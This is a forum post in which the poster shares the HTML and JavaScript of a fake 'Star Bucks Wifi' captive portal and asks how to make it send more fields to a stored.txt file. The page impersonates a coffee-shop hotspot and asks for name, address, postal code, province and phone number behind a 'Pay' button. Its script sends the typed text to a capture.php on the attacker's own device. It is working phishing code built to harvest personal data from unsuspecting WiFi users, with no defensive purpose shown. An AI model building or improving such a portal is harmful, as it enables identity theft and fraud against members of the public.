Mr.Pupp3T Posted October 16, 2016 Share Posted October 16, 2016 Hey guys i watched a tut on youtube to get my captive portal working it it sumbits one line of text to a stored.txt file, but i wanna have more then one thing sent to the stored.txt file can anyone help this is the code im useing. <html> <head> <title>Star Bucks Wifi</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-cache"> <script type="text/javascript"> function submitTextToCapture() { text = document.getElementById("textinput").value; text = document.getElementById("FirstName").value; window.location = "http://172.16.42.1/capture.php?text=" + text + "&redir=$authtarget"; } </script> </head> <body bgcolor="#DDDDDD" text="#000000"> <table border="0" cellpadding="2" cellspacing="0" width="100%"> <tr> <td align=center> <h2>Star Bucks Wifi</h2> </td> </tr> <tr> <td align=center height="120"> <form class="form-horizontal"> <fieldset> <!-- Form Name --> <legend>Star Bucks Wifi</legend> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="First Name">First name:</label> <div class="col-md-4"> <input id="FirstName" name="First Name" placeholder="Joe" class="form-control input-md" required="" type="text"> <span class="help-block">Please Type Your First Name</span> </div> </div> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="">Last name:</label> <div class="col-md-4"> <input id="" name="" placeholder="Doe" class="form-control input-md" required="" type="text"> <span class="help-block">Please Type Your Last Name</span> </div> </div> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="textinput">Address:</label> <div class="col-md-4"> <input id="textinput" name="textinput" placeholder="123 Fairly Lane" class="form-control input-md" required="" type="text"> <span class="help-block">Please Type Your Address</span> </div> </div> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="textinput">Postal Code:</label> <div class="col-md-4"> <input id="textinput" name="textinput" placeholder="A1B-2C3" class="form-control input-md" required="" type="text"> <span class="help-block">Please Type Your Postal Code</span> </div> </div> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="textinput">City/Town:</label> <div class="col-md-4"> <input id="textinput" name="textinput" placeholder="Toronto" class="form-control input-md" required="" type="text"> <span class="help-block">What City or Town you Live In?</span> </div> </div> <!-- Select Basic --> <div class="form-group"> <label class="col-md-4 control-label" for="selectbasic">Province</label> <div class="col-md-4"> <select id="selectbasic" name="selectbasic" class="form-control"> <option value="1">Alberta</option> <option value="2">British Columbia</option> <option value="">Manitoba</option> <option value="">New Brunswick</option> <option value="">Newfoundland and Labrador</option> <option value="">Northwest Territories</option> <option value="">Nova Scotia</option> <option value="">Nunavut</option> <option value="">Ontario</option> <option value="">Prince Edward Island</option> <option value="">Quebec</option> <option value="">Saskatchewan</option> <option value="">Yukon Territory</option> </select> </div> </div> <!-- Text input--> <div class="form-group"> <label class="col-md-4 control-label" for="textinput">Phone Number:</label> <div class="col-md-4"> <input id="textinput" name="textinput" placeholder="123-456-7890" class="form-control input-md" required="" type="text"> <span class="help-block">Please Type Your Phone Number</span> </div> </div> </fieldset> </form> <input type="text" id="userText" placeholder="enter some text" required> <button type="button" id="button" onclick="submitTextToCapture()">Pay</button> </form> <a href="$authtarget"> </a> </td> </tr> </table> </body> </html> Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.